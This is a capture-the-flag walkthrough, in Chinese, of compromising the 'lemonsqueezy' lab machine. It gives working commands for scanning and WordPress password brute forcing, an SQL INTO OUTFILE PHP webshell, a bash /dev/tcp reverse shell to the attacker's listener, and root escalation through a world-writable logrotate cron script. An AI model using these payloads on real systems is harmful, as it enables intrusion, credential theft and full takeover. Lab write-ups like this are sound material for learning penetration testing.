首先,对靶机网段进行扫描
sudo nmap -sn 192.168.220.1/24 --min-rate 1000 -T4
发现靶机IP地址为:192.168.220.133
sudo nmap -sS -p- --min-rate 1000 -T4 -oN nmap.txt 192.168.220.133
对靶机开放的端口及服务进行扫描
sudo nmap -sC -sV -O -oN nmap.txt --append-out 192.168.220.133 -p 80
靶机仅开放80端口
扫描UDP端口,没有发现端口开放
sudo nmap -sU -p- 192.168.220.133 --min-rate 1000 -T4 -oN nmap.txt --append-out
既然开放了80端口,那么可以在 kali-linux 中,使用 dirb 对靶机页面路径进行扫描
dirb http://192.168.220.133/
发现如下有价值的目录,说明该靶机存在一个mysql数据库管理后台和一个CMS
http://192.168.220.133/phpmyadmin/
http://192.168.220.133/wordpress/
先在kali中,把域名和IP绑定
然后直接访问
使用 kali-linux 中的 wpscan(一个专门扫描WordPress漏洞的工具)对靶机进行漏洞扫描
wpscan --url http://lemonsqueezy/wordpress
结果如下
没有发现明显的可利用的漏洞(这个主题是否可以利用,我暂时还未深入研究),但是发现一个可以用于文件上传的目录
http://lemonsqueezy/wordpress/wp-content/uploads/
使用 kali-linux 自带的 fasttrack.txt 字典(在 /usr/share/wordlists 路径下),结合 wpscan 进行后台用户枚举
wpscan --url http://lemonsqueezy/wordpress -eu -P /usr/share/wordlists/fasttrack.txt
发现两个用户,lemon 和 orange ,可以将它们加入 user.list,以便后续使用
上述使用的小字典可能结果不够全面,因此还可以使用 kali-linux 自带的 rockyou.txt 字典进行一次枚举
wpscan --url http://lemonsqueezy/wordpress -eu -P /usr/share/wordlists/rockyou.txt
稍许等待即可发现一个结果:orange 用户的密码为 ginger,可以将这个信息更新至 cerd.list(用户名和密码组成的列表)
后续并没有发现其他结果,此处也可以尝试针对 lemon 用户继续爆破,以获得其密码
wpscan --url http://lemonsqueezy/wordpress -U lemon -P /usr/share/wordlists/rockyou.txt
打开wordpress后台登录页面:http://lemonsqueezy/wordpress/wp-login.php,使用枚举得到的 orange 用户进行登录
发现一处敏感信息,这可能是另一个后台的登录密码
我们使用在wordpress后台获得的密码尝试登录数据库后台
orange:n0t1n@w0rdl1st!
在wordpress的用户表中,可以找到lemon和orange的密码哈希值,将lemon的密码哈希值加入hash.txt
可以使用 kali-linux 中的哈希爆破工具 john 对 lemon 用户的密码哈希值进行爆破
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
没有结果,可能是这个哈希值过于复杂。
除了 john,我们还可以尝试其他哈希爆破手段,此处略。
我们可以调整思路,既然已经知道了 orange 用户的密码及其哈希值,那么我们可以尝试将 lemon 用户的密码哈希值改为与 orange 用户一致。如此一来,我们便可以使用 orange 用户的密码登录 lemon 用户的账号
同时,我们更新cerd.list
我们使用 lemon 用户登录 WordPress 后台,显然 lemon 用户拥有比 orange 用户更高的权限
可以在 Appearance -> Editor 中找到一些php页面文件,但大多数是锁定状态,并不能编辑
在常用的一句话木马写入手段中,除了文件上传、页面文件修改等方法之外,在能够操纵数据库后台的情况下,我们还可以通过执行SQL脚本实现一句话木马的注入。
找到SQL脚本编辑页面,我们可以在此处写入一个shell
编辑如下内容,将一个一句话木马(1.php)生成至 /var/www/html/wordpress/wp-content/uploads 路径下
SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/wordpress/wp-content/uploads/1.php'
访问如下URL,通过 GET 请求参数验证一句话木马是否成功上传
http://lemonsqueezy/wordpress/wp-content/uploads/1.php?0=id
命令成功执行
在 kali-linux 中开启监听
sudo nc -lvvnp 2233
访问如下URL,将靶机shell反弹至 kali-linux 中
http://lemonsqueezy/wordpress/wp-content/uploads/1.php?0=/bin/bash -c 'bash -i >%26 /dev/tcp/192.168.220.129/2233 0>%261'
至此,我们成功getshell
首先,查看有无python
which python
有python,尝试初步提权(进而可执行tty命令等)
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
在/var/www目录下查看user.txt内容
解base64,得到一句话 Music can change your life,可能是一个提示
查找所有设置了 setuid 位的文件
find / -perm -u=s -type f 2>/dev/null
初步观察,没有可利用的文件
cat /etc/crontab
有一个 /etc/logrotate.d 路径下的定时任务 logrotate 值得关注
查看该文件的权限信息
发现权限是777(rwxrwxrwx),说明可以写入该文件,进而实现提权
首先,查看该文件内容
备份该文件,然后将 /bin/bash 写入 logrotate 文件中
# 备份文件
cp logrotate /var/www/html/wordpress/wp-content/uploads/logrotate.bak
# 将/bin/bash写入
echo 'chmod +s /bin/bash' > logrotate
不断查看 /bin/bash 的权限,如果出现 s,说明定时任务已经执行
当定时任务执行后,我们就可以通过执行如下命令来获取root权限了
/bin/bash -p
提权成功
切换到 /root 目录下,发现 root.txt 文件,解base64得到flag